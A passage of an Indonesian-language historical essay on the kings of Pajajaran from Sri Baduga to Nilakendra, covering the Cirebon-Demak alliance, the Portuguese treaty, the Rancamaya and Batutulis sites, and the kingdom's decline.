Jagabaya tak berdaya menghadapi pasukan gabungan Cirebon-Demak yang jumlahnya sangat besar. Akhirnya Jagabaya menghamba dan masuk Islam. <br /><br /> <br /><br />Peristiwa itu membangkitkan kemarahan Sri Baduga. Pasukan besar segera disiapkan untuk menyerang Cirebon. Akan tetapi pengiriman pasukan itu dapat dicegah oleh Purohita (pendeta tertinggi) keraton Ki Purwa Galih. [Cirebon adalah daerah warisan Cakrabuana (Walangsungsang) dari mertuanya (Ki Danusela) dan daerah sekitarnya diwarisi dari kakeknya Ki Gedeng Tapa (Ayah Subanglarang). Cakrabuana sendiri dinobatkan oleh Sri Baduga (sebelum menjadi Susuhunan) sebagai penguasa Cirebon dengan gelar Sri Mangana. Karena Syarif Hidayat dinobatkan oleh Cakrabuana dan juga masih cucu Sri Baduga, maka alasan pembatalan penyerangan itu bisa diterima oleh penguasa Pajajaran]. <br /><br /> <br /><br />Demikianlah situasi yang dihadapi Sri Baduga pada awal masa pemerintahannya. Dapat dimaklumi kenapa ia mencurahkan perhatian kepada pembinaan agama, pembuatan parit pertahanan, memperkuat angkatan perang, membuat jalan dan menyusun PAGELARAN (formasi tempur). [Pajajaran adalah negara yang kuat di darat, tetapi lemah di laut. <br /><br /> <br /><br />Menurut sumber Portugis, di seluruh kerajaan, Pajajaran memiliki kira-kira 100.000 prajurit. Raja sendiri memiliki pasukan gajah sebanyak 40 ekor. Di laut, Pajajaran hanya memiliki enam (6) buah jung ukuran 150 ton dan beberaa lankaras (?) untuk kepentingan perdagangan antar-pulaunya (saat itu perdagangan kuda jenis Pariaman mencapai 4000 ekor/tahun)]. <br /><br /> <br /><br />Keadaan makin tegang ketika hubungan Demak-Cirebon makin dikukuhkan dengan perkawinan putera-puteri dari kedua belah pihak. Ada empat pasangan yang dijodohkan, yaitu : <br /><br /> <br /><br />1. Pangeran Hasanudin dengan Ratu Ayu Kirana (Purnamasidi). <br /><br />2. Ratu Ayu dengan Pangeran Sabrang Lor. <br /><br />3. Pangeran Jayakelana dengan Ratu Pembayun.<br /><br />4. Pangeran Bratakelana dengan Ratu Ayu Wulan (Ratu Nyawa). <br /><br /> <br /><br />Perkawinan Sabrang Lor alias Yunus Abdul Kadir dengan Ratu Ayu terjadi 1511. Sebagai Senapati Sarjawala, panglima angkatan laut, Kerajaan Demak, Sabrang Lor untuk sementara berada di Cirebon. <br /><br /> <br /><br />Persekutuan Cirebon-Demak inilah yang sangat mencemaskan Sri Baduga di Pakuan. Tahun 1512, ia mengutus putera mahkota Surawisesa menghubungi Panglima Portugis Alfonsi d'Albuquerque di Malaka (ketika itu baru saja merebut Pelabuhan Pasai). Sebaliknya upaya Pajajaran ini telah pula meresahkan pihak Demak. <br /><br /> <br /><br />Pangeran Cakrabuana dan Susuhunan Jati (Syarif Hidayat) tetap menghormati Sri Baduga karena masing-masing sebagai ayah dan kakek. Oleh karena itu permusuhan antara Pajajaran dengan Cirebon tidak berkembang ke arah ketegangan yang melumpuhkan sektor-sektor pemerintahan. Sri Baduga hanya tidak senang hubungan Cirebon-Demak yang terlalu akrab, bukan terhadap Kerajaan Cirebon. Terhadap Islam, ia sendiri tidak membencinya karena salah seorang permaisurinya, Subanglarang, adalah seorang muslimah dan ketiga anaknya -- Walangsungsang alias Cakrabuana, Lara Santang, dan Raja Sangara -- diizinkan sejak kecil mengikuti agama ibunya (Islam). <br /><br /> <br /><br />Karena permusuhan tidak berlanjut ke arah pertumpahan darah, maka masing masing pihak dapat mengembangkan keadaan dalam negerinya. Demikianlah pemerintahan Sri Baduga dilukiskan sebagai jaman kesejahteraan (Carita Parahiyangan). Tome Pires ikut mencatat kemajuan jaman Sri Baduga dengan komentar "The Kingdom of Sunda is justly governed; they are true men" (Kerajaan Sunda diperintah dengan adil; mereka adalah orang-orang jujur). Juga diberitakan kegiatan perdagangan Sunda dengan Malaka sampai ke kepulauan Maladewa (Maladiven). Jumlah merica bisa mencapai 1000 bahar (1 bahar = 3 pikul) setahun, bahkan hasil tammarin (asem) dikatakannya cukup untuk mengisi muatan 1000 kapal. <br /><br /> <br /><br />Naskah Kitab Waruga Jagat dari Sumedang dan Pancakaki Masalah karuhun Kabeh dari Ciamis yang ditulis dalam abad ke-18 dalam bahasa Jawa dan huruf Arab-pegon masih menyebut masa pemerintahan Sri Baduga ini dengan masa gemuh Pakuan (kemakmuran Pakuan) sehingga tak mengherankan bila hanya Sri Baduga yang kemudian diabadikan kebesarannya oleh raja penggantinya dalam jaman Pajajaran. <br /><br /> <br /><br />Sri Baduga Maharaja alias Prabu Siliwangi yang dalam Prasasti Tembaga Kebantenan disebut Susuhuna di Pakuan Pajajaran, memerintah selama 39 tahun (1482 - 1521). Ia disebut secara anumerta Sang Lumahing (Sang Mokteng) Rancamaya karena ia dipusarakan di Rancamaya. <br /><br /> <br /><br />Melihat itu, jelas, bagaimana Rancamaya -- terletak kira-kira 7 Km di sebelah tenggara Kota Bogor – memiliki nilai khusus bagi orang Sunda. Rancamaya memiliki mata air yang sangat jernih. Tahun 1960-an di hulu Cirancamaya ini ada sebuah situs makam kuno dengan pelataran berjari-jari 7,5 m tertutup hamparan rumput halus dan dikelilingi rumpun bambu setengah lingkaran. Dekat makam itu terdapat pohon hampelas, patung badak setinggi kira-kira 25 m dan sebuah pohon beringin. <br /><br /> <br /><br />Dewasa ini seluruh situs sudah "dihancurkan" orang. Pelatarannya ditanami ubi kayu, pohon-pohonannya ditebang dan makam kuno itu diberi saung. Di dalamnya sudah bertambah sebuah kuburan baru, lalu makam kunonya diganti dengan bata pelesteran, ditambah bak kecil untuk peziarah dengan dinding yang dihiasi huruf Arab. Makam yang dikenal sebagai makam Embah Punjung ini mungkin sudah dipopulerkan orang sebagai makam wali. Kejadian ini sama seperti kuburan Embah Jepra pendiri Kampung Paledang yang terdapat di Kebun Raya yang "dijual" orang sebagai "makam Raja Galuh". <br /><br /> <br /><br />Telaga yang ada di Rancamaya, menurut Pantun Bogor, asalnya bernama Rena Wijaya dan kemudian berubah menjadi Rancamaya. Akan tetapi, menurut naskah kuno, penamaannya malah dibalik, setelah menjadi telaga kemudian dinamai Rena Maha Wijaya (terungkap pada prasasti). "Talaga" (Sangsakerta "tadaga") mengandung arti kolam. Orang Sunda biasanya menyebut telaga untuk kolam bening di pegunungan atau tempat yang sunyi. Kata lain yang sepadan adalah situ (Sangsakerta, setu) yang berarti bendungan. <br /><br /> <br /><br />Bila diteliti keadaan sawah di Rancamaya, dapat diperkirakan bahwa dulu telaga itu membentang dari hulu Cirancamaya sampai ke kaki bukit Badigul di sebelah utara jalan lama yang mengitarinya dan berseberangan dengan Kampung Bojong. Pada sisi utara lapang bola Rancamaya yang sekarang, tepi telaga itu bersambung dengan kaki bukit. <br /><br /> <br /><br />Bukit Badigul memperoleh namanya dari penduduk karena penampakannya yang unik. Bukit itu hampir "gersang" dengan bentuk parabola sempurna dan tampak seperti "katel" (wajan) terbalik. Bukit-bukit di sekitarnya tampak subur. Badigul hanya ditumbuhi jenis rumput tertentu. Mudah diduga bukit ini dulu "dikerok" sampai mencapai bentuk parabola. Akibat pengerokan itu tanah suburnya habis. <br /><br /> <br /><br />Badigul kemungkinan waktu itu dijadikan "bukit punden" (bukit pemujaan) yaitu bukit tempat berziarah (bahasa Sunda, nyekar atau ngembang = tabur bunga). Kemungkinan yang dimaksud dalam "rajah Waruga Pakuan" dengan Sanghiyang Padungkulan itu adalah Bukit Badigul ini. <br /><br /> <br /><br />Kedekatan telaga dengan bukit punden bukanlah tradisi baru. Pada masa Purnawarman, raja beserta para pembesar Tarumanagara selalu melakukan upacara mandi suci di Gangganadi (Setu Gangga) yang terletak dalam istana Kerajaan Indraprahasta (di Cire irang). Setelah bermandi- mandi suci, raja melakukan ziarah ke punden-punden yang terletak dekat sungai. <br /><br /> <br /><br />Spekulasi lain mengenai pengertian adanya kombinasi Badigul-Rancamaya adalah perpaduan gunung-air yang berarti pula Sunda-Galuh. <br /><br /> <br /><br />2. Surawisesa (1521 - 1535) <br /><br /> <br /><br />Pengganti Sri Baduga Maharaja adalah Surawisesa (puteranya dari Mayang Sunda dan juga cucu Prabu Susuktunggal). Ia dipuji oleh Carita Parahiyangan dengan sebutan "kasuran" (perwira), "kadiran" (perkasa) dan "kuwanen" (pemberani). Selama 14 tahun memerintah ia melakukan 15 kali pertempuran. Pujian penulis Carita Parahiyangan memang berkaitan dengan hal ini. <br /><br /> <br /><br />Nagara Kretabhumi I/2 dan sumber Portugis mengisahkan bahwa Surawisesa pernah diutus ayahnya menghubungi Alfonso d'Albuquerque (Laksamana Bungker) di Malaka. Ia pergi ke Malaka dua kali (1512 dan 1521). Hasil kunjungan pertama adalah kunjungan penjajakan pihak Portugis pada tahun 1513 yang diikuti oleh Tome Pires, sedangkan hasil kunjungan yang kedua adalah kedatangan utusan Portugis yang dipimpin oleh Hendrik de Leme (ipar Alfonso) ke Ibukota Pakuan. Dalam kunjungan itu disepakati persetujuan antara Pajajaran dan Portugis mengenai perdagangan dan keamanan. <br /><br /> <br /><br />Dari perjanjian ini dibuat tulisan rangkap dua, lalu masing-masing pihak memegang satu) Menurut Soekanto (1956) perjanjian itu ditandatangai 21 Agustus 1522. Ten Dam menganggap bahwa perjanjian itu hanya lisan. Namun, sumber Portugis yang kemudian dikutip Hageman menyebutkan "Van deze overeenkomst werd een geschrift opgemaakt in dubbel, waarvan elke partij een behield". <br /><br /> <br /><br />Dalam perjanjian itu disepakati bahwa Portugis akan mendirikan benteng di Banten dan Kalapa. Untuk itu tiap kapal Portugis yang datang akan diberi muatan lada yang harus ditukar dengan barang-barang keperluan yang diminta oleh pihak Sunda. Kemudian pada saat benteng mulai dibangun, pihak Sunda akan menyerahkan 1000 karung lada tiap tahun untuk ditukarkan dengan muatan sebanyak dua "costumodos" (kurang lebih 351 kuintal). <br /><br /> <br /><br />Perjanjian Pajajaran - Portugis sangat mencemaskan Trenggana, Sultan Demak III. Selat Malaka, pintu masuk perairan Nusantara sebelah utara sudah dikuasai Portugis yang berkedudukan di Malaka dan Pasai. Bila Selat Sunda yang menjadi pintu masuk perairan Nusantara di selatan juga dikuasai Portugis, maka jalur perdagangan laut yang menjadi urat nadi kehidupan ekonomi Demak terancam putus. Trenggana segera mengirim armadanya di bawah pimpinan Fadillah Khan yang menjadi Senapati Demak. <br /><br /> <br /><br />[Fadillah Khan memperistri Ratu Pembayun, janda Pangeran Jayakelana. Kemudian ia pun menikah dengan Ratu Ayu, janda Sabrang Lor (Sultan Demak II). Dengan demikian, Fadillah menjadi menantu Raden Patah sekaligus menantu Susuhunan Jati Cirebon. Dari segi kekerabatan, Fadillah masih terhitung keponakan Susuhunan Jati karena buyutnya Barkta Zainal Abidin adalah adik Nurul Amin, kakek Susuhunan Jati dari pihak ayah. Selain itu Fadillah masih terhitung cucu Sunan Ampel (Ali Rakhmatullah) sebab buyutnya adalah kakak Ibrahim Zainal Akbar ayah Sunan Ampel. Sunan Ampel sendiri adalah mertua Raden Patah (Sultan Demak I). <br /><br /> <br /><br />Barros menyebut Fadillah dengan Faletehan. Ini barangkali lafal orang Portugis untuk Fadillah Khan. Tome Pinto menyebutnya Tagaril untuk Ki Fadil (julukan Fadillah Khan sehari-hari). <br /><br /> <br /><br />Kretabhumi I/2 menyebutkan, bahwa makam Fadillah Khan (disebut juga Wong Agung Pase) terletak di puncak Gunung Sembung berdampingan (di sebelah timurnya) dengan makam Susushunan Jati. Hoesein Djajaningrat (1913) menganggap Fadillah identik dengan Susuhunan Jati. Nama Fadillah sendiri baru muncul dalam buku Sejarah Indonesia susunan Sanusi Pane (1950). Carita Parahiyangan menyebut Fadillah dengan Arya Burah] <br /><br /> <br /><br />Pasukan Fadillah yang merupakan gabungan pasukan Demak-Cirebon berjumlah 1967 orang. Sasaran pertama adalah Banten, pintu masuk Selat Sunda. Kedatangan pasukan ini telah didahului dengan huru-hara di Banten yang ditimbulkan oleh Pangeran Hasanudin dan para pengikutnya. Kedatangan pasukan Fadillah menyebabkan pasukan Banten terdesak. Bupati Banten beserta keluarga dan pembesar keratonnya mengungsi ke Ibukota Pakuan. <br /><br /> <br /><br />Hasanudin kemudian diangkat oleh ayahnya (Susuhunan Jati), menjadi Bupati Banten (1526). Setahun kemudian, Fadillah bersama 1452 orang pasukannya menyerang dan merebut pelabuhan Kalapa. Bupati Kalapa bersama keluarga dan para menteri kerajaan yang bertugas di pelabuhan gugur. Pasukan bantuan dari Pakuan pun dapat dipukul mundur. Keunggulan pasukan Fadillah terletak pada penggunaan meriam yang justru tidak dimiliki oleh Laskar Pajajaran. <br /><br /> <br /><br />Bantuan Portugis datang terlambat karena Francisco de Sa yang ditugasi membangun benteng diangkat menjadi Gubernur Goa di India. Keberangkatan ke Sunda dipersiapkan dari Goa dengan 6 buah kapal. Galiun yang dinaiki De Sa dan berisi peralatan untuk membangun benteng terpaksa ditinggalkan karena armada ini diterpa badai di Teluk Benggala. De Sa tiba di Malaka tahun 1527. <br /><br /> <br /><br />Ekspedsi ke Sunda bertolak dari Malaka. Mula-mula menuju Banten, akan tetapi karena Banten sudah dikuasai Hasanudin, perjalanan dilanjutkan ke Pelabuhan Kalapa. Di Muara Cisadane, De Sa memancangkan padrao pada tanggal 30 Juni 1527 dan memberikan nama kepada Cisadane "Rio de Sa Jorge". Kemudian galiun De sa memisahkan diri. Hanya kapal brigantin (dipimpin Duarte Coelho) yang langsung ke Pelabuhan Kalapa. <br /><br /> <br /><br />Coelho terlambat mengetahui perubahan situasi, kapalnya menepi terlalu dekat ke pantai dan menjadi mangsa sergapan pasukan Fadillah. Dengan kerusakan yang berat dan korban yang banyak, kapal Portugis ini berhasil meloloskan diri ke Pasai. Tahun 1529 Portugis menyiapkan 8 buah kapal untuk melakukan serangan balasan, akan tetapi karena peristiwa 1527 yang menimpa pasukan Coelho demikian menakutkan, maka tujuan armada lalu di ubah menuju Pedu. <br /><br /> <br /><br />Setelah Sri Baduga wafat, Pajajaran dengan Cirebon berada pada generasi yang sejajar. Meskipun yang berkuasa di Cirebon Syarif Hidayat, tetapi dibelakangnya berdiri Pangeran Cakrabuana (Walasungsang atau bernama pula Haji Abdullah Iman). Cakrabuana adalah kakak seayah Prabu Surawisesa. Dengan demikian, keengganan Cirebon menjamah pelabuhan atau wilayah lain di Pajajaran menjadi hilang. <br /><br /> <br /><br />Meskipun, Cirebon sendiri sebenarnya relatif lemah. Akan tetapi berkat dukungan Demak, kedudukannya menjadi mantap. Setelah kedudukan Demak goyah akibat kegagalan serbuannya ke Pasuruan dan Panarukan (bahkan Sultan Trenggana tebunuh), kemudian disusul dengan perang perebutan tahta, maka Cirebon pun turut menjadi goyah pula. Hal inilah yang menyebabkan kedudukan Cirebon terdesak dan bahkan terlampaui oleh Banten di kemudian hari. <br /><br /> <br /><br />Perang Cirebon - Pajajaran berlangsung 5 tahun lamanya. Yang satu tidak berani naik ke darat, yang satunya lagi tak berani turun ke laut. Cirebon dan Demak hanya berhasil menguasai kota-kota pelabuhan. Hanya di bagian timur pasukan Cirebon bergerak lebih jauh ke selatan. Pertempuran dengan Galuh terjadi tahun 1528. Di sini pun terlihat peran Demak karena kemenangan Cirebon terjadi berkat bantuan Pasukan meriam Demak tepat pada saat pasukan Cirebon terdesak mundur. Laskar Galuh tidak berdaya menghadapi "panah besi yang besar yang menyemburkan kukus ireng dan bersuara seperti guntur serta memuntahkan logam panas". Tombak dan anak panah mereka lumpuh karena meriam. Maka jatuhlah Galuh. Dua tahun kemudian jatuh pula Kerajaan Talaga, benteng terakhir Kerajaan Galuh. <br /><br /> <br /><br />Sumedang masuk ke dalam lingkaran pengaruh Cirebon dengan dinobatkannya Pangeran Santri menjadi Bupati Sumedang pada tanggal 21 Oktober 1530. Pangeran Santri adalah cucu Pangeran Panjunan, kakak ipar Syarif Hidayat. Buyut Pangeran Santri adalah Syekh Datuk Kahfi pendiri pesantren pertama di Cirebon. Ia menjadi bupati karena pernikahannya dengan Satyasih, Pucuk Umum (Unun?) Sumedang. Secara tidak resmi Sumedang menjadi daerah Cirebon. <br /><br /> <br /><br />Dengan kedudukan yang mantap di timur Citarum, Cirebon merasa kedudukannya mapan. Selain itu, karena gerakan ke Pakuan selalu dapat dibendung oleh pasukan Surawisesa, maka kedua pihak mengambil jalan terbaik dengan berdamai dan mengakui kedudukan masing-masing. Tahun 1531 tercapai perdamaian antara Surawisesa dan Syarif Hidayat. Masing-masing pihak berdiri sebagai negara merdeka. Di pihak Cirebon, ikut menandatangani naskah perjanjian, Pangeran Pasarean (Putera Mahkota Cirebon), Fadillah Khan dan Hasanudin (Bupati banten). <br /><br /> <br /><br />Perjanjian damai dengan Cirebon memberikan peluang kepada Surawisesa untuk mengurus dalam negerinya. Setelah berhasil memadamkan beberapa pemberontakkan, ia berkesempatan menerawang situasi dirinya dan kerajaannya. Warisan dari ayahnya hanya tinggal setengahnya, itupun tanpa pelabuhan pantai utara yang pernah memperkaya Pajajaran dengan lautnya. Dengan dukungan 1000 orang pasukan belamati yang setia kepadanyalah, ia masih mampu mempertahankan daerah inti kerajaannya. <br /><br /> <br /><br />Dalam suasana seperti itulah ia mengenang kebesaran ayahandanya. Perjanjian damai dengan Cirebon memberi kesempatan kepadanya untuk menunjukkan rasa hormat terhadap mendiang ayahnya. Mungkin juga sekaligus menunjukkan penyesalannya karena ia tidak mampu mempertahankan keutuhan wilayah Pakuan Pajajaran yang diamanatkan kepadanya. Dalam tahun 1533, tepat 12 tahun setelah ayahnya wafat, ia membuat sasakala (tanda peringatan) buat ayahnya. Ditampilkannya di situ karya-karya besar yang telah dilakukan oleh Susuhunan Pajajaran. Itulah Prasasati Batutulis yang diletakkannya di Kabuyutan tempat tanda kekuasaan Sri Baduga yang berupa lingga batu ditanamkan. Penempatannya sedemikian rupa sehingga kedudukan antara anak dengan ayah amat mudah terlihat. Si anak ingin agar apa yang dipujikan tentang ayahnya dengan mudah dapat diketahui (dibaca) orang. Ia sendiri tidak berani berdiri sejajar dengan si ayah. Demikianlah, Batutulis itu diletakkan agak ke belakang di samping kiri Lingga Batu. <br /><br /> <br /><br />Surawisesa tidak menampilkan namanya dalam prasasti. Ia hanya meletakkan dua buah batu di depan prasasti itu. Satu berisi astatala ukiran jejak tangan, yang lainnya berisi padatala ukiran jejak kaki. Mungkin pemasangan batutulis itu bertepatan dengan upacara srada yaitu "penyempurnaan sukma" yang dilakukan setelah 12 tahun seorang raja wafat. Dengan upacara itu, sukma orang yang meninggal dianggap telah lepas hubungannya dengan dunia materi. <br /><br /> <br /><br />Surawisesa dalam kisah tradisional lebih dikenal dengan sebutan Guru Gantangan atau Munding Laya Dikusuma. Permaisurinya, Kinawati, berasal dari Kerajaan Tanjung Barat yang terletak di daerah Pasar Minggu, Jakarta Selatan, sekarang. Kinawati adalah puteri Mental Buana, cicit Munding Kawati yang kesemuanya penguasa di Tanjung Barat. <br /><br /> <br /><br />Baik Pakuan maupun Tanjung Barat terletak di tepi Ciliwung. Diantara dua kerajaan ini terletak kerajaan kecil Muara Beres di Desa Karadenan (dahulu Kawung Pandak). Di Muara Beres in bertemu silang jalan dari Pakuan ke Tanjung Barat terus ke Pelabuhan Kalapa dengan jalan dari Banten ke daerah Karawang dan Cianjur. Kota pelabuhan sungai ini jaman dahulu merupakan titik silang. Menurut Catatan VOC tempat ini terletak 11/2 perjalanan dari Muara Ciliwung dan disebut jalan Banten lama (oude Bantamsche weg)]. <br /><br /> <br /><br />Surawisesa memerintah selama 14 tahun lamanya. Dua tahun setelah ia membuat prasasti sebagai sasakala untuk ayahnya, ia wafat dan dipusarakan di Padaren. Di antara raja-raja jaman Pajajaran, hanya dia dan ayahnya yang menjadi bahan kisah tradisional, baik babad maupun pantun. Babad Pajajaran atau Babad Pakuan, misalnya, semata mengisahkan "petualangan" Surawisesa (Guru Gantangan) dengan a cerita Panji.<br /><br /> <br /><br />3. Ratu Dewata (1535 - 1534) <br /><br /> <br /><br />Surawisesa digantikan oleh puteranya, Ratu Dewata. Berbeda dengan Surawisesa yang dikenal sebagai panglima perang yang perwira, perkasa dan pemberani, Ratu Dewata sangat alim dan taat kepada agama. Ia melakukan upacara sunatan (adat khitan pra-Islam) dan melakukan tapa pwah-susu, hanya makan buah-buahan dan minum susu. Menurut istilah kiwari vegetarian. <br /><br /> <br /><br />Resminya perjanjian perdamaian Pajajaran-Cirebon masih berlaku. Tetapi Ratu Dewata lupa bahwa sebagai tunggul negara ia harus tetap bersiaga. Ia kurang mengenal seluk-beluk politik. <br /><br /> <br /><br />Hasanudin dari Banten sebenarnya ikut menandatangani perjanjian perdamaian Pajajaran-Cirebon, akan tetapi itu dia lakukan hanya karena kepatuhannya kepada siasat ayahnya (Susuhunan Jati) yang melihat kepentingan Wilayah Cirebon di sebelah timur Citarum. Secara pribadi Hasanudin kurang setuju dengan perjanjian itu karena wilayah kekuasaannya berbatasan langsung dengan Pajajaran. Maka secara diam-diam ia membentuk pasukan khusus tanpa identitas resmi yang mampu bergerak cepat. Kemampuan pasukan Banten dalam hal bergerak cepat ini telah dibuktikannya sepanjang abad ke-18 dan merupakan catatan khusus Belanda, terutama gerakan pasukan Syekh Yusuf. <br /><br /> <br /><br />Menurut Carita Parahiyangan, pada masa pemerintahan Ratu Dewata ini terjadi serangan mendadak ke Ibukota Pakuan dan musuh "tambuh sangkane" (tidak dikenal asal-usulnya). <br /><br /> <br /><br />Ratu Dewata masih beruntung karena memiliki para perwira yang pernah mendampingi ayahnya dalam 15 kali pertempuran. Sebagai veteran perang, para perwira ini masih mampu menghadapi sergapan musuh. Di samping itu, ketangguhan benteng Pakuan peninggalan Sri Baduga menyebabkan serangan kilat Banten (dan mungkin dengan Kalapa) ini tidak mampu menembus gerbang Pakuan. [Alun-alun Empang sekarang pernah menjadi Ranamandala (medan pertempuran) mempertaruhkan sisa-sisa kebesaran Siliwangi yang diwariskan kepada cucunya]. <br /><br /> <br /><br />Penyerang tidak berhasil menembus pertahanan kota, tetapi dua orang senapati Pajajaran gugur, yaitu Tohaan Ratu Sangiang dan Tohaan Sarendet. [Kokohnya benteng Pakuan adalah pertama merupakan jasa Banga yang pada tahun 739 menjadi raja di Pakuan yang merupakan bawahan Raja Galuh. Ia ketika itu berusaha membebaskan diri dari kekuasaaan Manarah di Galuh. Ia berhasil setelah berjuang selama 20 tahun dan keberhasilannya itu di awali dengan pembuatan parit pertahanan kota. Kemudian keadaan Pakuan ini diperluas pada jaman Sri Baduga seperti yang bisa ditemukan pada Pustaka Nagara Kretabhuni I/2 yang isinya antara lain (artinya saja). <br /><br /> <br /><br />"Sang Maharaja membuat karya besar, yaitu membangun telaga besar yang bernama Maharena Wijaya, membuat jalan yang menuju ke ibukota Pakuan dan jalan ke Wanagiri, memperteguh kedatuan, memberikan desa (perdikan) kepada semua pendeta dan pengiringnya untuk menggairahkan kegiatan agama yang menjadi penuntun kehidupan rakyat. Kemudian membuat kaputren (tempat isteri-isteri-nya), kesatrian (asrama prajurit), satuan-satuan tempat (pageralaran), tempat-tempat hiburan, memperkuat angkatan perang, memungut upeti dari raja-raja bawahan dan kepala-kepala desa dan menyusun Undang-undang Kerajaan Pajajaran" <br /><br /> <br /><br />Amateguh kedatwan (memperteguh kedatuan) sejalan dengan maksud "membuat parit" (memperteguh pertahanan) Pakuan, bukan saja karena kata Pakuan mempunyai arti pokok keraton atau kedatuan, melainkan kata amateguh menunjukkan bahwa kata kedatuan dalam hal ini kota raja. Jadi sama dengan Pakuan dalam arti ibukota. <br /><br /> <br /><br />Selain hal di atas, juga lokasi Pakuan yang berada pada posisi yang disebut lemah duwur atau lemah luhur (dataran tinggi, oleh Van Riebeeck disebut "bovenvlakte"). Pada posisi ini, mereka tidak berlindung di balik bukit, melainkan berada di atas bukit. {Pasir Muara di Cibungbulang merupakan contoh bagaimana bukit rendah yang dikelilingi tiga batang sungai pernah dijadikan pemukiman "lemah duwur" sejak beberapa ratus tahun sebelum masehi}. Lokasi Pakuan merupakan lahan lemah duwur yang satu sisinya terbuka menghadap ke arah Gunung Pangrango. Tebing Ciliwung, Cisadane dan Cipaku merupakan pelindung alamiah. <br /><br /> <br /><br />{Tipe lemah duwur biasanya dipilih sama masyarakat dengan latar belakang kebudayaan huma (ladang). Kota-kota yang seperti ini adalah Bogor, Sukabumi dan Cianjur. Kota seperti ini biasanya dibangun dengan konsep berdasarkan pengembangan perkebunan. Tipe lain adalah apa yang disebut garuda ngupuk. Tipe seperti ini biasanya dipilih oleh masyarakat dengan latar belakang kebudayaan sawah. Mereka menganggap bahwa lahan yang ideal untuk pusat pemerintahan adalah lahan yang datar, luas, dialiri sungai dan berlindung di balik pegunungan. Kota-kota yang dikembangkan dengan corak ini misalnya Garut, Bandung dan Tasikmalaya. Sumedang memiliki dua persyaratan tipe ini. Kutamaya dipilih oleh Pangeran Santri menurut idealisme Pesisir Cirebon karena ia orang Sindangkasih (Majalengka) yang selalu hilir mudik ke Cirebon. Baru pada waktu kemudian Sumedang dikukuhkan dengan pola garuda ngupuk pada lokasi pusat kota Sumedang yang sekarang}] <br /><br /> <br /><br />Gagal merebut benteng kota, pasukan penyerbu ini dengan cepat bergerak ke utara dan menghancurkan pusat-pusat keagamaan di Sumedeng, Ciranjang dan Jayagiri yang dalam jaman Sri Baduga merupakan desa kawikuan yang dilindungi oleh negara. <br /><br /> <br /><br />Sikap Ratu Dewata yang alim dan rajin bertapa, menurut norma kehidupan jaman itu tidak tepat karena raja harus "memerintah dengan baik". Tapa-brata seperti yang dilakukannya itu hanya boleh dilakukan setelah turun tahta dan menempuh kehidupan manurajasuniya seperti yang telah dilakukan oleh Wastu Kancana. Karena itulah Ratu Dewata dicela oleh penulis Carita Parahiyangan dengan sindiran (kepada para pembaca) <br /><br /> <br /><br />"Nya iyatna-yatna sang kawuri, haywa ta sira kabalik pupuasaan" <br /><br /> <br /><br />(Maka berhati-hatilan yang kemudian, janganlah engkau berpura-pura rajin puasa). <br /><br /> <br /><br />Rupa-rupanya penulis kisah kuno itu melihat bahwa kealiman Ratu Dewata itu disebabkan karena ia tidak berani menghadapi kenyataan. Penulis kemudian berkomentar pendek "Samangkana ta precinta" (begitulah jaman susah). <br /><br /> <br /><br /> <br /><br />4. Ratu Sakti (1543 - 1551) <br /><br /> <br /><br />Raja Pajajaran keempat adalah Ratu Sakti. Untuk mengatasi keadaan yang ditinggalkan Ratu Dewata yang bertindak serba alim, ia bersikap keras bahkan akhirnya kejam dan lalim. Dengan pendek Carita Parahiyangan melukiskan raja ini. Banyak rakyat dihukum mati tanpa diteliti lebih dahulu salah tidaknya. Harta benda rakyat dirampas untuk kepentingan keraton tanpa rasa malu sama sekali. <br /><br /> <br /><br />Kemudian raja ini melakukan pelanggaran yang sama dengan Dewa Niskala yaitu mengawini "estri larangan ti kaluaran" (wanita pengungsi yang sudah bertunangan). Masih ditambah lagi dengan berbuat skandal terhadap ibu tirinya yaitu bekas para selir ayahnya. Karena itu ia diturunkan dari tahta kerajaan. Ia hanya beruntung karena waktu itu sebagian besar pasukan Hasanuddin dan Fadillah sedang membantu Sultan Trenggana menyerbu Pasurua dan Panarukan. Setelah meninggal, Ratu Sakti dipusarakan di Pengpelengan. <br /><br /> <br /><br /> <br /><br /> <br /><br />5. Ratu Nilakendra (1551 - 1567) <br /><br /> <br /><br />Nilakendra atau Tohaan di Majaya naik tahta sebagai penguasa Pajajaran yang kelima. Pada saat itu situasi kenegaraan telah tidak menentu dan frustasi telah melanda segala lapisan masyarakat. Carita Parahiyangan memberitakan sikap petani "Wong huma darpa mamangan, tan igar yan tan pepelakan" (Petani menjadi serakah akan makanan, tidak merasa senang bila tidak bertanam sesuatu). Ini merupakan berita tidak langsung, bahwa kelaparan telah berjangkit. <br /><br /> <br /><br />Frustasi di lingkungan kerajaan lebih parah lagi. Ketegangan yang mencekam menghadapi kemungkinan serangan musuh yang datang setiap saat telah mendorong raja beserta para pembesarnya memperdalam aliran keagamaan Tantra. Aliran ini mengutamakan mantera-mantera yang terus menerus diucapkan sampai kadang-kadang orang yang bersangkutan merasa bebas dari keadaan di sekitarnya. Seringkali, untuk mempercepat keadaan tidak sadar itu, digunakan minuman keras yang didahului dengan pesta pora makanan enak. <br /><br /> <br /><br />"Lawasnya ratu kampa kalayan pangan, tatan agama gyan kewaliya mamangan sadrasa nu surup ka sangkan beuanghar" <br /><br /> <br /><br />(Karena terlalu lama raja tergoda oleh makanan, tiada ilmu yang disenanginya kecuali perihal makanan lezat yang layak dengan tingkat kekayaan). <br /><br /> <br /><br />Selain itu, Nilakendra malah memperindah keraton, membangun taman dengan jalur-jalur berbatu ("dibalay") mengapit gerbang larangan. Kemudian membangun "rumah keramat" (bale bobot) sebanyak 17 baris yang ditulisi bermacam-macam kisah dengan emas. <br /><br /> <br /><br />Mengenai musuh yang harus dihadapinya, sebagai penganut ajaran Tantra yang setia, ia membuat sebuah "bendera keramat" ("ngibuda Sanghiyang Panji"). Bendera inilah yang diandalkannya menolak musuh. Meskipun bendera ini tak ada gunanya dalam menghadapi laskar Banten karena mereka tidak takut karenanya. Akhirnya nasib Nilakendra dikisahkan "alah prangrang, maka tan nitih ring kadatwan" (kalah perang, maka ia tidak tinggal di keraton). <br /><br /> <br /><br />Nilakendra sejaman dengan Panembahan Hasanudin dari Banten dan bila diteliti isi buku Sejarah Banten tentang serangan ke Pakuan yang ternyata melibatkan Hasanudin dengan puteranya Yusuf, dapatlah disimpulkan, bahwa yang tampil ke depan dalam serangan itu adalah Putera Mahkota Yusuf. Peristiwa kekalahan Nilakendra ini terjadi ketika Susuhunan Jati masih hidup (ia baru wafat tahun 1568 dan Fadillah wafat 2 tahun kemudian). <br /><br /> <br /><br />Demikianlah, sejak saat itu ibukota Pakuan telah ditinggalkan oleh raja dan dibiarkan nasibnya berada pada 